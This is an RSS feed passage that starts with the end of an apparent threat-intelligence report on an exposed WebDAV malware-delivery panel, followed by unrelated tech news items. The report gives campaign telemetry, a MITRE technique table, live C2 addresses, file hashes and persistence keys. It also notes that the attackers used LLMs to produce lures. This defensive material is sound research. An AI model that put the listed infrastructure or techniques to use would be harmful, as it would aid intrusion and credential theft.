...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Salt Security tackles AI governance challenge with 100 pre-built agentic security policies]]></title>
<description><![CDATA[Salt Security has expanded its Policy Hub to include 100 pre-built security policies, as organisations look for practical ways to govern AI agents across enterprise environments. The company says the milestone creates one of the industry’s largest libraries of governance policies for agentic AI, ...]]></description>
<link>https://tsecurity.de/de/3681300/it-security-nachrichten/salt-security-tackles-ai-governance-challenge-with-100-pre-built-agentic-security-policies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681300/it-security-nachrichten/salt-security-tackles-ai-governance-challenge-with-100-pre-built-agentic-security-policies/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Salt Security has expanded its Policy Hub to include 100 pre-built security policies, as organisations look for practical ways to govern AI agents across enterprise environments. The company says the milestone creates one of the industry’s largest libraries of governance policies for agentic AI, covering APIs, Model Context Protocol (MCP) servers, authentication, access controls, compliance […]</p>
<p>The post <a href="https://www.itsecurityguru.org/2026/07/20/salt-security-tackles-ai-governance-challenge-with-100-pre-built-agentic-security-policies/">Salt Security tackles AI governance challenge with 100 pre-built agentic security policies</a> appeared first on <a href="https://www.itsecurityguru.org/">IT Security Guru</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Salt Security tackles AI governance challenge with 100 pre-built agentic security policies]]></title>
<description><![CDATA[Salt Security has expanded its Policy Hub to include 100 pre-built security policies, as organisations look for practical ways to govern AI agents across enterprise environments. The company says the milestone creates one of the industry’s largest libraries of governance…
Read more →
The post Sal...]]></description>
<link>https://tsecurity.de/de/3681290/it-security-nachrichten/salt-security-tackles-ai-governance-challenge-with-100-pre-built-agentic-security-policies/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681290/it-security-nachrichten/salt-security-tackles-ai-governance-challenge-with-100-pre-built-agentic-security-policies/</guid>
<pubDate>Mon, 20 Jul 2026 15:52:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Salt Security has expanded its Policy Hub to include 100 pre-built security policies, as organisations look for practical ways to govern AI agents across enterprise environments. The company says the milestone creates one of the industry’s largest libraries of governance…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/salt-security-tackles-ai-governance-challenge-with-100-pre-built-agentic-security-policies/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/salt-security-tackles-ai-governance-challenge-with-100-pre-built-agentic-security-policies/">Salt Security tackles AI governance challenge with 100 pre-built agentic security policies</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s going wrong with this Kotlin code?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 1x - Views:13 Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instea...]]></description>
<link>https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</guid>
<pubDate>Mon, 20 Jul 2026 15:18:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 1x - Views:13 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/AaWdVp_py4Y?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instead of the config object we expect, it holds something else. Watch the video and share what you think caused the bug!<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Speakers: Anaya Mehta<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 5 MCP Servers for High-Performance Agentic Development]]></title>
<description><![CDATA[Here are five that are genuinely worth wiring into a high-performance agent development setup, chosen for what they do to an agent's actual capability rather than their star count.]]></description>
<link>https://tsecurity.de/de/3681111/ai-nachrichten/top-5-mcp-servers-for-high-performance-agentic-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681111/ai-nachrichten/top-5-mcp-servers-for-high-performance-agentic-development/</guid>
<pubDate>Mon, 20 Jul 2026 14:33:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Here are five that are genuinely worth wiring into a high-performance agent development setup, chosen for what they do to an agent's actual capability rather than their star count.]]></content:encoded>
</item>
<item>
<title><![CDATA[Freshen up Your Gaming Setup With a New Samsung Monitor for as Little as $90 With These B&H Deals]]></title>
<description><![CDATA[Plenty of options are discounted, from budget-friendly screens to high-end, premium gaming monitors.]]></description>
<link>https://tsecurity.de/de/3680889/it-nachrichten/freshen-up-your-gaming-setup-with-a-new-samsung-monitor-for-as-little-as-90-with-these-bh-deals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680889/it-nachrichten/freshen-up-your-gaming-setup-with-a-new-samsung-monitor-for-as-little-as-90-with-these-bh-deals/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Plenty of options are discounted, from budget-friendly screens to high-end, premium gaming monitors.]]></content:encoded>
</item>
<item>
<title><![CDATA[Dear Microsoft: Stop sticking your AI in my IDE]]></title>
<description><![CDATA[Dear Microsoft, 



I don’t want to have a love-hate relationship with Visual Studio Code, but you’re making it really hard.



Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.



And that was great! I gravitated toward...]]></description>
<link>https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Dear Microsoft, </p>



<p class="wp-block-paragraph">I don’t want to have a love-hate relationship with <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a>, but you’re making it really hard.</p>



<p class="wp-block-paragraph">Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.</p>



<p class="wp-block-paragraph">And that was great! I gravitated towards using VS Code for multiple jobs in various languages. I could set up a <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> workflow with extensions to add database-wrangling functionality. I could put together an environment for digital book publishing. I could even set up a project for screenwriting! (Yes, I have a screenplay in progress. A man can dream.)</p>



<p class="wp-block-paragraph">Now, it’s not like all this went away yesterday. I can still do all of the above. But <em>literally every new feature</em> in VS Code these days is all about agents, AI, and LLMs. It makes me wonder if there’s anyone left in the building who is working on the actual editor anymore.</p>



<p class="wp-block-paragraph">In the <a href="https://code.visualstudio.com/updates/v1_127">release notes for VS Code 1.127</a>, literally every single new feature <a href="https://code.visualstudio.com/updates/v1_127#_integrated-browser">save one</a> was about agents and AI. Ditto <a href="https://code.visualstudio.com/updates/v1_126">the version before that</a>. The <a href="https://code.visualstudio.com/updates/v1_125">version before that</a> was a little better, but the trend has been clear for some time now: Visual Studio Code is fast becoming an agent front end first, and everything else is a distant second.</p>



<p class="wp-block-paragraph">One argument I’ve heard is that VS Code is now a mature project. Because there just isn’t much left to be done to improve the core, you have directed your attention towards other features that will attract new users. And because agent-and-AI mania is still burning through the enterprise (and everyone’s budgets), agent-and-AI features are the order of the day.</p>



<p class="wp-block-paragraph">But do these features really need to be IDE-level features? Instead of drastically retooling VS Code to support agents, and making AI features native elements of the IDE, shouldn’t the real mission be to support VS Code’s native extensibility? After all, VS Code was built to be extended, and <a href="https://marketplace.visualstudio.com/search?target=VSCode&amp;category=AI&amp;sortBy=Installs">thousands of AI add-ons</a> — including <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a> and <a href="https://marketplace.visualstudio.com/search?term=microsoft&amp;target=VSCode&amp;category=AI&amp;sortBy=Relevance">dozens of your own extensions</a> — already take advantage of that.</p>



<p class="wp-block-paragraph">Is all this really about what AI features VS Code can support natively, or is it more about making VS Code a default first point of contact for agents and AI — specifically <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>? Is this less about developer convenience, and more about guaranteeing — however obnoxiously — that agents and AI tools always have a central place in VS Code?</p>



<p class="wp-block-paragraph">Whatever the goal is, if you think every VS Code user wants an “<a href="https://www.infoworld.com/article/4193975/the-ide-is-dead-long-live-the-ade.html">agentic development environment</a>” instead of an IDE, I think you’re dead wrong.</p>



<p class="wp-block-paragraph">No doubt AI tools are here to stay. But I do think they will experience a reckoning. Frontier models that do everything and six more things on top of that are becoming of real use only to the big vendors who stick API tollbooths in front of them and construct wetland-devouring data centers the size of the Vegas strip to power them. The future looks more like smaller, locally-hosted models that handle highly specialized tasks and require far fewer resources to train, deploy, and serve. (Even you seem to be moving in that direction, with the <a href="https://blogs.windows.com/msedgedev/2026/06/02/expanding-on-device-ai-in-microsoft-edge-new-models-and-apis-for-the-web/">Aion on-device models</a>.)</p>



<p class="wp-block-paragraph">The deeper we go into that reckoning, the less it makes sense to have cart-before-the-horse arrangements like VS Code’s native AI features. How long before these features get hoisted back out of VS Code and moved to an add-on (albeit one we get nagged to install every time we fire up our IDE)? Sooner rather than later, I’d bet.</p>



<p class="wp-block-paragraph">Still, until that fine day comes, I’m resigning myself to the idea that my current favorite editor will be stuffed with more and more AI features, whether or not they even make sense in my use case, for a long, wearying time to come.</p>



<p class="wp-block-paragraph">At least I can <a href="https://code.visualstudio.com/docs/supporting/FAQ#_can-i-disable-ai-functionality-in-vs-code">turn all that stuff off</a>. For now.</p>



<p class="wp-block-paragraph">As I was writing this (in VS Code, no less), I got an update to VS Code 1.128. There’s one nice feature in there I could see myself using quite widely: <a href="https://code.visualstudio.com/updates/v1_128#_os-level-keyboard-shortcuts">the ability to register OS-level keyboard shortcuts</a>. But the rest? All AI, all agents, all the time.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.


 Show Notes


 Episode Overview




Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sen...]]></description>
<link>https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/</guid>
<pubDate>Mon, 20 Jul 2026 02:06:59 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>

<h1>
 Show Notes</h1>

<h3>
 Episode Overview</h3>

<ul>

<li>
Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.</li>

</ul>

<h3>
 Key Topics &amp; Breakdown</h3>

<ul>

<li>

<ul>

<li>

<strong>
Egg Drop Soup Hack:</strong>
 How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.</li>

<li>

<strong>
Camera Setup &amp; Network Config:</strong>
 Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.</li>

<li>

<strong>
Python &amp; Cron Automation:</strong>
 Running a custom Python script every 2 minutes to check for new recordings, parsing logs with <code>
grep -v</code>
, and navigating massive log files in <code>
vi</code>
.</li>

<li>

<strong>
Windows Troubleshooting Tangent:</strong>
 Deleting the stubborn <code>
Windows.old</code>
 folder using the TrustedInstaller service hack (<code>
ExecTI.exe</code>
) instead of taking ownership manually.</li>

<li>

<strong>
Time Sync &amp; Firmware Quirks:</strong>
